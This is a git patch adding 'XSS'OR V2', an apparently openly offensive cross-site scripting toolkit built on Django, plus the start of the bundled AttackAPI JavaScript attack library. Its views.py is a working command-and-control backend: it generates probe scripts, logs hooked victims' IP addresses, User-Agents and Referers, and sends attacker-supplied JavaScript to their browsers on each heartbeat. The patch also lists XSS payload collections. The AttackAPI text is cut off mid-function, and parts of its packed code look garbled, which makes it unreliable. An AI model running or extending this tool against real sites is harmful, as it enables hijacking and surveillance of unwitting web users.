From 6816d641804cf1db78f7b556686d69b6e0fe4466 Mon Sep 17 00:00:00 2001 From: evilcos Date: Sun, 25 Jun 2017 15:45:55 +0800 Subject: [PATCH] XSS'OR V2 --- manage.py | 22 + requirement.txt | 2 + uwsgi.ini | 12 + xssor/__init__.py | 0 xssor/index/__init__.py | 0 xssor/index/admin.py | 3 + xssor/index/apps.py | 7 + xssor/index/migrations/__init__.py | 0 xssor/index/models.py | 21 + xssor/index/tests.py | 3 + xssor/index/views.py | 263 + xssor/payload/attackapi.txt | 1346 ++++ xssor/payload/html5sec.json | 4426 +++++++++++ xssor/payload/html5sec.vectors.txt | 332 + xssor/payload/iamanewbotnamedcorsbot.txt | 78 + xssor/payload/jsbeautify/beautify-html.js | 458 ++ xssor/payload/jsbeautify/beautify.js | 1150 +++ xssor/payload/jsbeautify/my-js-beautify.js | 119 + .../jsbeautify/tests/beautify-tests.js | 441 ++ xssor/payload/jsbeautify/tests/sanitytest.js | 128 + .../javascriptobfuscator_unpacker.js | 102 + .../unpackers/myobfuscate_unpacker.js | 75 + .../unpackers/p_a_c_k_e_r_unpacker.js | 61 + .../unpackers/urlencode_unpacker.js | 51 + xssor/payload/lib/codzauto.js | 262 + xssor/payload/lib/crypto/aes/aes-min.js | 14 + xssor/payload/lib/crypto/aes/aes.js | 407 + .../lib/crypto/blockmodes/blockmodes-min.js | 12 + .../lib/crypto/blockmodes/blockmodes.js | 381 + .../crypto/crypto-md5-hmac/crypto-md5-hmac.js | 18 + .../lib/crypto/crypto-md5/crypto-md5.js | 17 + .../crypto-sha1-hmac-pbkdf2-blockmodes-aes.js | 29 + .../crypto-sha1-hmac-pbkdf2-marc4.js | 17 + .../crypto-sha1-hmac-pbkdf2-rabbit.js | 20 + .../crypto-sha1-hmac-pbkdf2.js | 15 + .../crypto-sha1-hmac-pbkdf2async.js | 15 + .../crypto-sha1-hmac/crypto-sha1-hmac.js | 13 + .../lib/crypto/crypto-sha1/crypto-sha1.js | 12 + .../crypto-sha256-hmac/crypto-sha256-hmac.js | 15 + .../lib/crypto/crypto-sha256/crypto-sha256.js | 14 + xssor/payload/lib/crypto/crypto/crypto-min.js | 10 + xssor/payload/lib/crypto/crypto/crypto.js | 160 + xssor/payload/lib/crypto/hmac/hmac-min.js | 7 + xssor/payload/lib/crypto/hmac/hmac.js | 43 + xssor/payload/lib/crypto/marc4/marc4-min.js | 8 + xssor/payload/lib/crypto/marc4/marc4.js | 122 + xssor/payload/lib/crypto/md5/md5-min.js | 13 + xssor/payload/lib/crypto/md5/md5.js | 163 + xssor/payload/lib/crypto/pbkdf2/pbkdf2-min.js | 8 + xssor/payload/lib/crypto/pbkdf2/pbkdf2.js | 54 + .../lib/crypto/pbkdf2async/pbkdf2async-min.js | 8 + .../lib/crypto/pbkdf2async/pbkdf2async.js | 93 + xssor/payload/lib/crypto/rabbit/rabbit-min.js | 11 + xssor/payload/lib/crypto/rabbit/rabbit.js | 226 + xssor/payload/lib/crypto/sha1/sha1-min.js | 8 + xssor/payload/lib/crypto/sha1/sha1.js | 91 + xssor/payload/lib/crypto/sha256/sha256-min.js | 10 + xssor/payload/lib/crypto/sha256/sha256.js | 135 + xssor/payload/lib/ende.js | 426 ++ xssor/payload/lib/evercookie.fla | Bin 0 -> 41984 bytes xssor/payload/lib/evercookie.swf | Bin 0 -> 340 bytes xssor/payload/lib/html2canvas.js | 3519 +++++++++ xssor/payload/packer/Packer.js | 210 + xssor/payload/packer/Words.js | 62 + xssor/payload/packer/base2-load.js | 2 + xssor/payload/packer/bindings.js | 132 + xssor/payload/packer/my.js | 2 + xssor/payload/probe.js | 92 + xssor/payload/rsnake.xml | 1082 +++ xssor/payload/xss.swf | Bin 0 -> 4852 bytes xssor/payload/xssmisc.txt | 123 + xssor/probeclear.py | 26 + xssor/settings.py | 125 + xssor/static/css/bootstrap-theme.css | 587 ++ xssor/static/css/bootstrap-theme.css.map | 1 + xssor/static/css/bootstrap-theme.min.css | 6 + xssor/static/css/bootstrap-theme.min.css.map | 1 + xssor/static/css/bootstrap.css | 6757 +++++++++++++++++ xssor/static/css/bootstrap.css.map | 1 + xssor/static/css/bootstrap.min.css | 11 + xssor/static/css/bootstrap.min.css.map | 1 + xssor/static/css/bootstrap.min.css.raw | 6 + xssor/static/favicon.ico | Bin 0 -> 4286 bytes .../fonts/glyphicons-halflings-regular.eot | Bin 0 -> 20127 bytes .../fonts/glyphicons-halflings-regular.svg | 288 + .../fonts/glyphicons-halflings-regular.ttf | Bin 0 -> 45404 bytes .../fonts/glyphicons-halflings-regular.woff | Bin 0 -> 23424 bytes .../fonts/glyphicons-halflings-regular.woff2 | Bin 0 -> 18028 bytes xssor/static/js/bootstrap.js | 2377 ++++++ xssor/static/js/bootstrap.min.js | 7 + xssor/static/js/jquery-1.12.4.min.js | 5 + xssor/static/js/npm.js | 13 + xssor/tcp.py | 9 + xssor/templates/about.html | 51 + xssor/templates/basic.html | 33 + xssor/templates/codzl.html | 34 + xssor/templates/codzr.html | 94 + xssor/templates/ende.html | 36 + xssor/templates/index.html | 217 + xssor/templates/probe.html | 63 + xssor/urls.py | 33 + xssor/wsgi.py | 16 + 102 files changed, 27979 insertions(+) create mode 100644 manage.py create mode 100644 requirement.txt create mode 100644 uwsgi.ini create mode 100644 xssor/__init__.py create mode 100644 xssor/index/__init__.py create mode 100644 xssor/index/admin.py create mode 100644 xssor/index/apps.py create mode 100644 xssor/index/migrations/__init__.py create mode 100644 xssor/index/models.py create mode 100644 xssor/index/tests.py create mode 100644 xssor/index/views.py create mode 100644 xssor/payload/attackapi.txt create mode 100644 xssor/payload/html5sec.json create mode 100644 xssor/payload/html5sec.vectors.txt create mode 100644 xssor/payload/iamanewbotnamedcorsbot.txt create mode 100644 xssor/payload/jsbeautify/beautify-html.js create mode 100644 xssor/payload/jsbeautify/beautify.js create mode 100644 xssor/payload/jsbeautify/my-js-beautify.js create mode 100644 xssor/payload/jsbeautify/tests/beautify-tests.js create mode 100644 xssor/payload/jsbeautify/tests/sanitytest.js create mode 100644 xssor/payload/jsbeautify/unpackers/javascriptobfuscator_unpacker.js create mode 100644 xssor/payload/jsbeautify/unpackers/myobfuscate_unpacker.js create mode 100644 xssor/payload/jsbeautify/unpackers/p_a_c_k_e_r_unpacker.js create mode 100644 xssor/payload/jsbeautify/unpackers/urlencode_unpacker.js create mode 100644 xssor/payload/lib/codzauto.js create mode 100644 xssor/payload/lib/crypto/aes/aes-min.js create mode 100644 xssor/payload/lib/crypto/aes/aes.js create mode 100644 xssor/payload/lib/crypto/blockmodes/blockmodes-min.js create mode 100644 xssor/payload/lib/crypto/blockmodes/blockmodes.js create mode 100644 xssor/payload/lib/crypto/crypto-md5-hmac/crypto-md5-hmac.js create mode 100644 xssor/payload/lib/crypto/crypto-md5/crypto-md5.js create mode 100644 xssor/payload/lib/crypto/crypto-sha1-hmac-pbkdf2-blockmodes-aes/crypto-sha1-hmac-pbkdf2-blockmodes-aes.js create mode 100644 xssor/payload/lib/crypto/crypto-sha1-hmac-pbkdf2-marc4/crypto-sha1-hmac-pbkdf2-marc4.js create mode 100644 xssor/payload/lib/crypto/crypto-sha1-hmac-pbkdf2-rabbit/crypto-sha1-hmac-pbkdf2-rabbit.js create mode 100644 xssor/payload/lib/crypto/crypto-sha1-hmac-pbkdf2/crypto-sha1-hmac-pbkdf2.js create mode 100644 xssor/payload/lib/crypto/crypto-sha1-hmac-pbkdf2async/crypto-sha1-hmac-pbkdf2async.js create mode 100644 xssor/payload/lib/crypto/crypto-sha1-hmac/crypto-sha1-hmac.js create mode 100644 xssor/payload/lib/crypto/crypto-sha1/crypto-sha1.js create mode 100644 xssor/payload/lib/crypto/crypto-sha256-hmac/crypto-sha256-hmac.js create mode 100644 xssor/payload/lib/crypto/crypto-sha256/crypto-sha256.js create mode 100644 xssor/payload/lib/crypto/crypto/crypto-min.js create mode 100644 xssor/payload/lib/crypto/crypto/crypto.js create mode 100644 xssor/payload/lib/crypto/hmac/hmac-min.js create mode 100644 xssor/payload/lib/crypto/hmac/hmac.js create mode 100644 xssor/payload/lib/crypto/marc4/marc4-min.js create mode 100644 xssor/payload/lib/crypto/marc4/marc4.js create mode 100644 xssor/payload/lib/crypto/md5/md5-min.js create mode 100644 xssor/payload/lib/crypto/md5/md5.js create mode 100644 xssor/payload/lib/crypto/pbkdf2/pbkdf2-min.js create mode 100644 xssor/payload/lib/crypto/pbkdf2/pbkdf2.js create mode 100644 xssor/payload/lib/crypto/pbkdf2async/pbkdf2async-min.js create mode 100644 xssor/payload/lib/crypto/pbkdf2async/pbkdf2async.js create mode 100644 xssor/payload/lib/crypto/rabbit/rabbit-min.js create mode 100644 xssor/payload/lib/crypto/rabbit/rabbit.js create mode 100644 xssor/payload/lib/crypto/sha1/sha1-min.js create mode 100644 xssor/payload/lib/crypto/sha1/sha1.js create mode 100644 xssor/payload/lib/crypto/sha256/sha256-min.js create mode 100644 xssor/payload/lib/crypto/sha256/sha256.js create mode 100644 xssor/payload/lib/ende.js create mode 100644 xssor/payload/lib/evercookie.fla create mode 100644 xssor/payload/lib/evercookie.swf create mode 100644 xssor/payload/lib/html2canvas.js create mode 100644 xssor/payload/packer/Packer.js create mode 100644 xssor/payload/packer/Words.js create mode 100644 xssor/payload/packer/base2-load.js create mode 100644 xssor/payload/packer/bindings.js create mode 100644 xssor/payload/packer/my.js create mode 100644 xssor/payload/probe.js create mode 100644 xssor/payload/rsnake.xml create mode 100644 xssor/payload/xss.swf create mode 100644 xssor/payload/xssmisc.txt create mode 100644 xssor/probeclear.py create mode 100644 xssor/settings.py create mode 100644 xssor/static/css/bootstrap-theme.css create mode 100644 xssor/static/css/bootstrap-theme.css.map create mode 100644 xssor/static/css/bootstrap-theme.min.css create mode 100644 xssor/static/css/bootstrap-theme.min.css.map create mode 100644 xssor/static/css/bootstrap.css create mode 100644 xssor/static/css/bootstrap.css.map create mode 100644 xssor/static/css/bootstrap.min.css create mode 100644 xssor/static/css/bootstrap.min.css.map create mode 100644 xssor/static/css/bootstrap.min.css.raw create mode 100644 xssor/static/favicon.ico create mode 100644 xssor/static/fonts/glyphicons-halflings-regular.eot create mode 100644 xssor/static/fonts/glyphicons-halflings-regular.svg create mode 100644 xssor/static/fonts/glyphicons-halflings-regular.ttf create mode 100644 xssor/static/fonts/glyphicons-halflings-regular.woff create mode 100644 xssor/static/fonts/glyphicons-halflings-regular.woff2 create mode 100644 xssor/static/js/bootstrap.js create mode 100644 xssor/static/js/bootstrap.min.js create mode 100644 xssor/static/js/jquery-1.12.4.min.js create mode 100644 xssor/static/js/npm.js create mode 100644 xssor/tcp.py create mode 100644 xssor/templates/about.html create mode 100644 xssor/templates/basic.html create mode 100644 xssor/templates/codzl.html create mode 100644 xssor/templates/codzr.html create mode 100644 xssor/templates/ende.html create mode 100644 xssor/templates/index.html create mode 100644 xssor/templates/probe.html create mode 100644 xssor/urls.py create mode 100644 xssor/wsgi.py diff --git a/manage.py b/manage.py new file mode 100644 index 0000000..4b10ccd --- /dev/null +++ b/manage.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +import os +import sys + +if __name__ == "__main__": + os.environ.setdefault("DJANGO_SETTINGS_MODULE", "xssor.settings") + try: + from django.core.management import execute_from_command_line + except ImportError: + # The above import may fail for some other reason. Ensure that the + # issue is really that Django is missing to avoid masking other + # exceptions on Python 2. + try: + import django + except ImportError: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) + raise + execute_from_command_line(sys.argv) diff --git a/requirement.txt b/requirement.txt new file mode 100644 index 0000000..db4f370 --- /dev/null +++ b/requirement.txt @@ -0,0 +1,2 @@ +django==1.10.3 +simplejson diff --git a/uwsgi.ini b/uwsgi.ini new file mode 100644 index 0000000..91ae436 --- /dev/null +++ b/uwsgi.ini @@ -0,0 +1,12 @@ +[uwsgi] +socket = 127.0.0.1:9305 +master = true +vhost = true +workers = 5 +reload-mercy = 10 +vacuum = true +max-requests = 1000 +limit-as = 512 +buffer-size = 30000 +pidfile = /var/run/uwsgi9305.pid +daemonize = /var/log/uwsgi9305.log diff --git a/xssor/__init__.py b/xssor/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/xssor/index/__init__.py b/xssor/index/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/xssor/index/admin.py b/xssor/index/admin.py new file mode 100644 index 0000000..8c38f3f --- /dev/null +++ b/xssor/index/admin.py @@ -0,0 +1,3 @@ +from django.contrib import admin + +# Register your models here. diff --git a/xssor/index/apps.py b/xssor/index/apps.py new file mode 100644 index 0000000..c24e772 --- /dev/null +++ b/xssor/index/apps.py @@ -0,0 +1,7 @@ +from __future__ import unicode_literals + +from django.apps import AppConfig + + +class IndexConfig(AppConfig): + name = 'index' diff --git a/xssor/index/migrations/__init__.py b/xssor/index/migrations/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/xssor/index/models.py b/xssor/index/models.py new file mode 100644 index 0000000..29c3a62 --- /dev/null +++ b/xssor/index/models.py @@ -0,0 +1,21 @@ +from __future__ import unicode_literals + +from django.db import models + +# TODO:_) +class Probe(models.Model): + pid = models.CharField(unique=True, max_length=30) # probe id + ip = models.CharField(max_length=16) + ua = models.CharField(max_length=500) + referer = models.CharField(max_length=500) + add_time = models.DateTimeField() + status = models.IntegerField(default=0) + #codz = models.TextField() + result = models.TextField(blank=True) + +class Cmd(models.Model): + pid = models.CharField(max_length=30, db_index=True) + cmd = models.TextField(blank=True) + add_time = models.DateTimeField() + status = models.IntegerField(default=0) + diff --git a/xssor/index/tests.py b/xssor/index/tests.py new file mode 100644 index 0000000..7ce503c --- /dev/null +++ b/xssor/index/tests.py @@ -0,0 +1,3 @@ +from django.test import TestCase + +# Create your tests here. diff --git a/xssor/index/views.py b/xssor/index/views.py new file mode 100644 index 0000000..a28d737 --- /dev/null +++ b/xssor/index/views.py @@ -0,0 +1,263 @@ +import os +import glob +import time +import hashlib +import simplejson + +from django.shortcuts import render +from django.http import HttpResponse + +BASEDIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +PROBEDIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), 'probe') + +def now_time(): + """2037-03-07 13:30:07""" + return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) + +def to_time(timestr): + """2037-03-07 13:30:07 -> 2120063407.0""" + try: + timestr = str(timestr) + t=time.strptime(timestr,'%Y-%m-%d %H:%M:%S') + return time.mktime(t) + except: + return time.time() + +def __getpid(ip): + abcdef = 'abcdefghijklmnopqrstuvwxyz' + fedcba = 'zyawvubsrjponmlkqihgfedctx' + h1 = hashlib.md5('<%s>'%ip).hexdigest() + h2 = hashlib.md5(''%h1).hexdigest() + h = h1 + h2 + j = 0 + adict = {} + for i in h: + if not i.isalpha(): + continue + if j >= 26: + adict[j-26] = i + else: + adict[j] = i + j += 1 + a = [] + for j in adict: + pos = abcdef.index(adict[j]) + j + if pos >= 26: + pos = pos - 26 + a.append(fedcba[pos]) + s1 = ''.join(a) + if len(s1) >= 7: + s2 = s1[:7] + else: + s2 = s1.ljust(7, s1[0]) + return s2 + +def __reqisok(req): + ua = req.META.get('HTTP_USER_AGENT', '') + pid = req.POST.get('pid', '') + if not pid: + pid = req.GET.get('pid', '') + if not pid or not pid.isalpha() or len(pid) != 7 or not ua: + return 0 + return 1 + +def __status(req): + ip = req.META.get('REMOTE_ADDR','') + pid = __getpid(ip) + probe_js = os.path.join(PROBEDIR, '%s.js'%pid) + probe_txt = os.path.join(PROBEDIR, '%s.txt'%pid) + probe_cmd = os.path.join(PROBEDIR, '%s.cmd'%pid) + probe_heartbeet = os.path.join(PROBEDIR, '%s.heartbeet'%pid) + + probe_existed = 0 + if os.path.exists(probe_js): + probe_existed = 1 + + probe_done = 0 + if os.path.exists(probe_txt): + probe_done = 1 + + probe_live = 0 + try: + f = open(probe_heartbeet) + c = f.read() + f.close() + except: + c = '' + if c: + if(time.time() - to_time(c) <= 15): + probe_live = 1 + + probe_cmd_c = '' + try: + f = open(probe_cmd) + c = f.read() + f.close() + except: + c = '' + if c: + probe_cmd_c = c + + return { + 'pid': pid, + 'probe_existed': probe_existed, + 'probe_done': probe_done, + 'probe_live': probe_live, + 'probe_cmd_c': probe_cmd_c, + } + +def index(req): + return render(req, 'index.html', __status(req)) + +def probe_status(req): + if not __reqisok(req): + rnt = {'succ': 0, 'msg': 'Probe status fetched failed. DO NOT BE BAD.'} + resp = HttpResponse(simplejson.dumps(rnt, ensure_ascii=False), content_type='application/json') + return resp + ip = req.META.get('REMOTE_ADDR','') + pid1 = __getpid(ip) + pid2 = req.POST.get('pid', '') + if pid1 != pid2: + rnt = {'succ': 0, 'msg': 'Probe status fetched failed. Probe string must be: %s'%pid1} + resp = HttpResponse(simplejson.dumps(rnt, ensure_ascii=False), content_type='application/json') + return resp + + rnt = {'succ': 1, 'msg': 'Probe status fetched success.'} + rnt.update(__status(req)) + resp = HttpResponse(simplejson.dumps(rnt, ensure_ascii=False), content_type='application/json') + return resp + +def cmd_create(req): + if not __reqisok(req): + rnt = {'succ': 0, 'msg': 'CMD created failed. DO NOT BE BAD.'} + resp = HttpResponse(simplejson.dumps(rnt, ensure_ascii=False), content_type='application/json') + return resp + ip = req.META.get('REMOTE_ADDR','') + pid1 = __getpid(ip) + pid2 = req.POST.get('pid', '') + if pid1 != pid2: + rnt = {'succ': 0, 'msg': 'CMD created failed. Probe string must be: %s'%pid1} + resp = HttpResponse(simplejson.dumps(rnt, ensure_ascii=False), content_type='application/json') + return resp + + c = req.POST.get('cmd', '') + f = open(os.path.join(PROBEDIR, '%s.cmd'%pid1), 'w') + f.write(c) + f.close() + + rnt = {'succ': 1, 'msg': 'CMD created success. Just wait for some seconds.'} + resp = HttpResponse(simplejson.dumps(rnt, ensure_ascii=False), content_type='application/json') + return resp + +def cmd(req): + if not __reqisok(req): + resp = HttpResponse('alert("DO NOT BE BAD.");', content_type='application/x-javascript') + return resp + + ip = req.META.get('REMOTE_ADDR','') + ua = req.META.get('HTTP_USER_AGENT','-') + referer = req.META.get('HTTP_REFERER','-') + getdict = req.GET.dict() + getstr = str(getdict) + pid = getdict.get('pid', '') + probe_txt = os.path.join(PROBEDIR, '%s.txt'%pid) + probe_js = os.path.join(PROBEDIR, '%s.js'%pid) + + if not os.path.exists(probe_js): + r = 'alert(/DO NOT BE BAD/);' + resp = HttpResponse(r, content_type='application/x-javascript') + return resp + + if not os.path.exists(probe_txt): + c = "IP: %s\nUser-Agent: %s\nReferer: %s\n%s\n\n"%(ip, ua, referer, getstr) + try: + f = open(probe_txt, 'w') + f.write(c) + f.close() + except: + r = 'xssor.done=0;' + resp = HttpResponse(r, content_type='application/x-javascript') + return resp + r = 'xssor.done=1;' + resp = HttpResponse(r, content_type='application/x-javascript') + return resp + else: + probe_heartbeet = os.path.join(PROBEDIR, '%s.heartbeet'%pid) + try: + f = open(probe_heartbeet, 'w') + f.write(now_time()) + f.close() + except: + pass + + probe_cmd = os.path.join(PROBEDIR, '%s.cmd'%pid) + try: + f = open(probe_cmd) + c = f.read().strip() + f.close() + except: + c = '' + try: + if c: + f = open(probe_cmd, 'w') # wipe + f.write('') + f.close() + except: + pass + if not c: + c = 'xssor.heartbeet=1;' + + r = c + resp = HttpResponse(r, content_type='application/x-javascript') + return resp + +def probe_create(req): + if not __reqisok(req): + rnt = {'succ': 0, 'msg': 'Probe created failed. DO NOT BE BAD.'} + resp = HttpResponse(simplejson.dumps(rnt, ensure_ascii=False), content_type='application/json') + return resp + ip = req.META.get('REMOTE_ADDR','') + pid1 = __getpid(ip) + pid2 = req.POST.get('pid', '') + if pid1 != pid2: + rnt = {'succ': 0, 'msg': 'Probe created failed. Probe string must be: %s'%pid1} + resp = HttpResponse(simplejson.dumps(rnt, ensure_ascii=False), content_type='application/json') + return resp + + f = open(os.path.join(BASEDIR, 'payload/probe.js')) + c = f.read() + f.close() + c = c.replace('abcdefg', pid1) + f = open(os.path.join(PROBEDIR, '%s.js'%pid1), 'w') + f.write(c) + f.close() + + rnt = {'succ': 1, 'msg': 'Probe created success. Probe %s.js'%pid1} + resp = HttpResponse(simplejson.dumps(rnt, ensure_ascii=False), content_type='application/json') + return resp + +def probe_js(req, pid): + probe_txt = os.path.join(PROBEDIR, '%s.txt'%pid) + if os.path.exists(probe_txt): + r = 'xssorsay="One time per day, u can try again tomorrow.";' + resp = HttpResponse(r, content_type='application/x-javascript') + return resp + try: + f = open(os.path.join(PROBEDIR, '%s.js'%pid)) + c = f.read() + f.close() + except: + c = 'alert(/DO NOT BE BAD/);' + resp = HttpResponse(c, content_type='application/x-javascript') + return resp + +def probe_txt(req, pid): + try: + f = open(os.path.join(PROBEDIR, '%s.txt'%pid)) + c = f.read() + f.close() + except: + c = '-' + resp = HttpResponse(c, content_type='text/plain') + return resp + diff --git a/xssor/payload/attackapi.txt b/xssor/payload/attackapi.txt new file mode 100644 index 0000000..2be23bc --- /dev/null +++ b/xssor/payload/attackapi.txt @@ -0,0 +1,1346 @@ +var AttackAPI = { + version: '2.2.0a', + author: 'Petko Petkov | pdp (architect)', + homepage: 'http://www.gnucitizen.org', + projecthome: 'http://www.gnucitizen.org/projects/attackapi'}; + +AttackAPI.core = {}; + +AttackAPI.core.bindFunction = function (func) { + var args = []; + + for (var i = 1; i < arguments.length; i++) + args.push(arguments[i]); + + return function () { + func.apply(null, args); + }; +}; + +AttackAPI.core.extend = function (obj, properties) { + for (var item in properties) + obj[item] = properties[item]; + + return obj; +}; + +AttackAPI.core.clone = function (obj) { + if (arguments.length == 1) { + var _obj = arguments.callee; + _obj.prototype = obj; + + return new _obj(); + } +}; + +AttackAPI.utils = {}; + +AttackAPI.utils.buildQuery = function (obj) { + var tokens = []; + + for (var item in obj) + tokens.push(AttackAPI.utils.encodeURL(item) + '=' + ((obj[item] != undefined && obj[item] != null)?AttackAPI.utils.encodeURL(obj[item]):'')); + + return tokens.join('&'); +}; + +// needs more work on this function +AttackAPI.utils.parseJSON = function (input, isSafe) { + var isSafe = (isSafe != undefined)?isSafe:false; + + if (isSafe && !/^("(\\.|[^"\\\n\r])*?"|[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t])+?$/.test(input)) + return null; + + return eval('(' + input + ')'); +}; +AttackAPI.utils.decodeURL = function (url) { + return unescape(url); +}; + +AttackAPI.utils.packJS = function (script, encoding, fastdecode, specialchars) { + eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[(function(e){return d[e]})];e=(function(){return'\\w+'});c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('6 V(){5 $21=0,$26=1,$25=2;5 $27=/\\(/g,$1S=/\\$\\d/,$1T=/^\\$\\d+$/,$1Z=/([\'"])\\1\\+(.*)\\+\\1\\1$/,$$2i=/\\\\./g,$1U=/\'/,$$20=/\\13[^\\13]*\\13/g;5 2b=N;N.q=6($1s,$l){c(!$l)$l="";5 $h=(1v(M($1s)).u($27)||"").h+1;c($1S.1q($l)){c($1T.1q($l)){$l=1k($l.T(1))-1}19{5 i=$h;5 $15=$1U.1q(1v($l))?\'"\':"\'";S(i)$l=$l.2j("$"+i--).1r($15+"+a[o+"+i+"]+"+$15);$l=J 2x("a,o","7"+$15+$l.f($1Z,"$1")+$15)}}22($1s||"/^$/",$l,$h)};N.X=6($C){12.h=0;7 2g(1d($C,N.y).f(J W(P,N.2k?"2y":"g"),1y),N.y).f($$20,"")};N.2z=6(){P.h=0};5 12=[];5 P=[];5 1z=6(){7"("+M(N[$21]).T(1,-1)+")"};P.U=6(){7 N.1r("|")};6 22(){F.U=1z;P[P.h]=F}6 1y(){c(!F[0])7"";5 i=1,j=0,$1c;S($1c=P[j++]){c(F[i]){5 $l=$1c[$26];2A(2B $l){1K"6":7 $l(F,i);1K"2C":7 F[$l+i]}5 $28=(F[i].1P(2b.y)==-1)?"":"\\13"+F[i]+"\\13";7 $28+$l}19 i+=$1c[$25]}};6 1d($C,$y){7 $y?$C.f(J W("\\\\"+$y+"(.)","g"),6($u,$2f){12[12.h]=$2f;7 $y}):$C};6 2g($C,$y){5 i=0;7 $y?$C.f(J W("\\\\"+$y,"g"),6(){7 $y+(12[i++]||"")}):$C};6 1v($C){7 $C.f($$2i,"")}};V.2D={2E:V,2k:2d,y:""};6 2c(1h,k,14,1t){5 $Y="$1";1h+="\\n";k=1p.1M(1k(k),2F);6 1F($9){5 i,$1x;1O(i=0;($1x=1e[i]);i++){$9=$1x($9)}7 $9};5 1B=6($O,$B,$e,$m,$t,$G){S($e--)c($m[$e])$O=$O.f(J W(\'\\\\b\'+$t($e)+\'\\\\b\',\'g\'),$m[$e]);7 $O};5 1Y=6(){c(!\'\'.f(/^/,M)){S($e--)$G[$t($e)]=$m[$e]||$t($e);$m=[6($D){7 $G[$D]}];$t=6(){7\'\\\\w+\'};$e=1}};5 1e=[];6 1a($8){1e[1e.h]=$8};6 1Q($9){5 $8=J V;$8.y="\\\\";$8.q(/\'[^\'\\n\\r]*\'/,$Y);$8.q(/"[^"\\n\\r]*"/,$Y);$8.q(/\\/\\/[^\\n\\r]*[\\n\\r]/," ");$8.q(/\\/\\*[^*]*\\*+([^\\/][^*]*\\*+)*\\//," ");$8.q(/\\s+(\\/[^\\/\\n\\r\\*][^\\/\\n\\r]*\\/g?i?)/,"$2");$8.q(/[^\\w\\17\\/\'"*)\\?:]\\/[^\\/\\n\\r\\*][^\\/\\n\\r]*\\/g?i?/,$Y);c(1t)$8.q(/;;;[^\\n\\r]+[\\n\\r]/);$8.q(/\\(;;\\)/,$Y);$8.q(/;+\\s*([};])/,"$2");$9=$8.X($9);$8.q(/(\\b|\\17)\\s+(\\b|\\17)/,"$2 $3");$8.q(/([+\\-])\\s+([+\\-])/,"$2 $3");$8.q(/\\s+/,"");7 $8.X($9)};6 24($9){5 $8=J V;$8.q(/((\\17+)([a-2m-Z$1V]+))(\\d*)/,6($u,$L){5 $h=$u[$L+2].h;5 $1A=$h-1p.2n($h-$u[$L+3].h,0);7 $u[$L+1].2o($1A,$h)+$u[$L+4]});5 $K=/\\2p[A-2q-z\\d]\\w*/;5 $m=1j($9,1f($K),1R);5 $D=$m.$D;$8.q($K,6($u,$L){7 $D[$u[$L]]});7 $8.X($9)};6 1X($9){c(k>Q)$9=23($9);5 $8=J V;5 $t=1g(k);5 $K=(k>Q)?/\\w\\w+/ :/\\w+/;$m=1j($9,1f($K),$t);5 $D=$m.$D;$8.q($K,6($u,$L){7 $D[$u[$L]]});7 $9&&1L($8.X($9),$m)};6 1j($9,$K,$t){5 $1b=$9.u($K);5 $$H=[];5 $$D={};5 $$I={};c($1b){5 $R=[];5 $I={};5 $1n={};5 $e={};5 i=$1b.h,j=0,$E;1l{$E="$"+$1b[--i];c(!$e[$E]){$e[$E]=0;$R[j]=$E;$I["$"+($1n[j]=$t(j))]=j++}$e[$E]++}S(i);i=$R.h;1l{$E=$R[--i];c($I[$E]!=1I){$$H[$I[$E]]=$E.T(1);$$I[$I[$E]]=2h;$e[$E]=0}}S(i);$R.2r(6($1G,$1W){7 $e[$1W]-$e[$1G]});j=0;1l{c($$H[i]==1I)$$H[i]=$R[j++].T(1);$$D[$$H[i]]=$1n[i]}S(++i<$R.h)}7{$H:$$H,$D:$$D,$I:$$I}};6 1L($O,$m){5 $1w=1i("$t\\\\($e\\\\)","g");$O="\'"+1d($O)+"\'";5 $B=1p.1M($m.$H.h,k)||1;5 $e=$m.$H.h;1O(5 i 2v $m.$I)$m.$H[i]="";$m="\'"+$m.$H.1r("|")+"\'.2j(\'|\')";5 $t=k>Q?1m:1g($B);$t=M($t).f(/k/g,"$B").f(/F\\.1o/g,"$t");5 $1u="$e"+($B>10?".U($B)":"");c(14){5 $G=1J(1Y);c(k>Q)$G=$G.f(/\\\\\\\\w/g,"[\\\\2a-\\\\2e]");19 c($B<11)$G=$G.f($1w,$1u);c(!$e)$G=$G.f(1i("($e)\\\\s*=\\\\s*1"),"$1=0")}5 $v=M(1B);c(14){$v=$v.f(/\\{/,"{"+$G+";")}$v=$v.f(/"/g,"\'");c(k>Q){$v=$v.f(/\'\\\\\\\\b\'\\s*\\+|\\+\\s*\'\\\\\\\\b\'/g,"")}c($B>11||k>Q||14){$v=$v.f(/\\{/,"{$t="+$t+";")}19{$v=$v.f($1w,$1u)}$v=2c($v,0,2d,2h);5 $18=[$O,$B,$e,$m];c(14){$18=$18.2G(0,"{}")}7"2l("+$v+"("+$18+"))\\n"};6 1g($B){7 $B>10?$B>11?$B>Q?1m:1E:1D:1C};5 1C=6($p){7 $p};5 1D=6($p){7 $p.U(11)};5 1E=6($p){7($p2s?M.1N($p+29):$p.U(11))};5 1m=6($p){7($p> 4); + chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); + chr3 = ((enc3 & 3) << 6) | enc4; + + result += String.fromCharCode(chr1); + + if (enc3 != 64) + result += String.fromCharCode(chr2); + + if (enc4 != 64) + result += String.fromCharCode(chr3); + } while (i < input.length); + + return result; +}; + +// needs more work on this function +AttackAPI.utils.buildJSON = function (input) { + var m = { + '\b': '\\b', + '\t': '\\t', + '\n': '\\n', + '\f': '\\f', + '\r': '\\r', + '"' : '\\"', + '\\': '\\\\'}; + + var s = { + 'array': function (x) { + var a = ['['], b, f, i, l = x.length, v; + + for (i = 0; i < l; i += 1) { + v = x[i]; + f = s[typeof v]; + + if (f) { + v = f(v); + + if (typeof v == 'string') { + if (b) { + a[a.length] = ','; + } + + a[a.length] = v; + b = true; + } + } + } + + a[a.length] = 